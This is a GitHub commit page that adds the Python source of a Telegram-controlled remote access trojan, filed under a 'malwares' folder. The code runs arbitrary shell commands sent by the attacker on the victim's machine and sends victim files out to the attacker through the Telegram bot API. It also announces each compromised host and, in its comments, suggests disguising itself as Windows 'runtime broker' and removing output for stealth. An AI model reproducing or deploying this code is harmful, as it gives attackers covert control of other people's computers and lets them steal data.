-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
upload TelegramRemoteCodeExecution.py
- Loading branch information
1 parent
36441df
commit c00b728
Showing
2 changed files
with
161 additions
and
1 deletion.
There are no files selected for viewing
159 changes: 159 additions & 0 deletions
159
malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,159 @@ | ||
import telebot, os | ||
from telebot.types import Message as tele_message | ||
from subprocess import check_output | ||
|
||
|
||
# root_dir = os.path.dirname(__file__) | ||
API_KEY = 'your_bot_key/token' | ||
CHAT_ID = 0 # int - attacker's user id | ||
# to find user id, start the bot, and message this bot with /start | ||
|
||
|
||
# password = 'password' // password is reserved for future work | ||
help_message = ''' | ||
Remote Code Executor BOT | ||
Written by Dhrumil Mistry | ||
https://github.com/dmdhrumilmistry | ||
------------------------- | ||
command description | ||
------------------------- | ||
/start get chat id and user details | ||
/help get help menu | ||
/exec execute command on victim's machine | ||
/cd <path> change directory | ||
/ls list file and folders of current working directory | ||
''' | ||
|
||
bot = telebot.TeleBot(API_KEY) | ||
|
||
|
||
def get_victim(): | ||
return check_output("whoami",shell=True).decode("utf-8") | ||
|
||
|
||
def inform_attacker(): | ||
''' | ||
informs attacker that the victim machine is up | ||
''' | ||
message = f'{get_victim()} has been pawned and up' | ||
bot.send_message(CHAT_ID, text=message) | ||
|
||
|
||
def get_user_details(message:tele_message): | ||
''' | ||
returns messenger's details | ||
''' | ||
return f'ID : {message.from_user.id}\n Name :{message.from_user.full_name}\n[UserName] {message.from_user.username}\nIS BOT : {message.from_user.is_bot}' | ||
|
||
|
||
def validate_request(message:tele_message) -> bool: | ||
''' | ||
returns True is if request is from hacker, else False | ||
''' | ||
if message.from_user.id != int(CHAT_ID): | ||
alert_message = f'[!] Intruder Alert!!\n{get_user_details(message)}\nTried Command : {message.text}\n\nDetailed Information :{message}' | ||
bot.send_message(chat_id=CHAT_ID, text=alert_message) | ||
bot.send_message(chat_id=message.from_user.id, text='Not Authorized !!') | ||
return False | ||
|
||
return True | ||
|
||
|
||
@bot.message_handler(commands=['start']) | ||
def start(message:tele_message): | ||
''' | ||
start conversation | ||
''' | ||
chat_id = message.chat.id | ||
reply_message = get_user_details() | ||
bot.send_message(chat_id, reply_message) | ||
if CHAT_ID: | ||
bot.send_message(CHAT_ID, reply_message) | ||
|
||
|
||
@bot.message_handler(commands=['exec']) | ||
def execute(message:tele_message): | ||
''' | ||
executes and returns result to the attacker | ||
''' | ||
if not validate_request(message): | ||
return | ||
|
||
cmd = message.text.split('/exec')[-1].strip() | ||
print('command executed : ', cmd) | ||
try: | ||
result = check_output(cmd, shell=True).decode('utf-8') | ||
except Exception as e: | ||
result = f'Exception Occurred : {e}' | ||
print(result) | ||
|
||
bot.send_message(chat_id=CHAT_ID, text=result) | ||
|
||
|
||
@bot.message_handler(commands=['help']) | ||
def help(message:tele_message): | ||
''' | ||
prints help | ||
''' | ||
if validate_request(message): | ||
bot.send_message(chat_id=CHAT_ID, text=help_message) | ||
|
||
|
||
@bot.message_handler(commands=['cd']) | ||
def cd(message:tele_message): | ||
''' | ||
change current working directory | ||
''' | ||
cd_dir = message.text.split('/cd')[-1].strip() | ||
|
||
if not validate_request(message): | ||
return | ||
|
||
os.chdir(cd_dir) | ||
bot.send_message(CHAT_ID, text=f'Current Directory : {os.getcwd()}') | ||
|
||
|
||
@bot.message_handler(commands=['ls']) | ||
def ls(message:tele_message): | ||
''' | ||
replies with list of all the folders and files in the dir to the attacker | ||
''' | ||
if not validate_request(message): | ||
return | ||
dirs = '\n'.join(os.listdir('.')) | ||
bot.send_message(chat_id=CHAT_ID, text=dirs) | ||
|
||
|
||
@bot.message_handler(commands=['download']) | ||
def download_file(message:tele_message): | ||
''' | ||
downloads file from victim's machine to attacker's machine | ||
''' | ||
if not validate_request(message): | ||
return | ||
|
||
file_path = message.text.split('/download')[-1].strip() | ||
if os.path.isfile(file_path): | ||
with open(file_path, 'rb') as file: | ||
file_data = file.read() | ||
bot.send_document(chat_id=CHAT_ID, data=file_data, caption=f'[*] {file_path} downloaded from {get_victim()}') | ||
else: | ||
bot.send_message(chat_id=CHAT_ID, text=f'[!] {file_path} does not exists.') | ||
|
||
|
||
|
||
def start_bot(): | ||
''' | ||
starts bot and informs hacker that victim's machine is up | ||
''' | ||
print('[*] Starting...') | ||
inform_attacker() | ||
bot.polling() | ||
print('[!] Closing...') | ||
|
||
|
||
if __name__ == '__main__': | ||
# for windows create malware with runtime broker | ||
# while packaging remove print statements | ||
start_bot() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters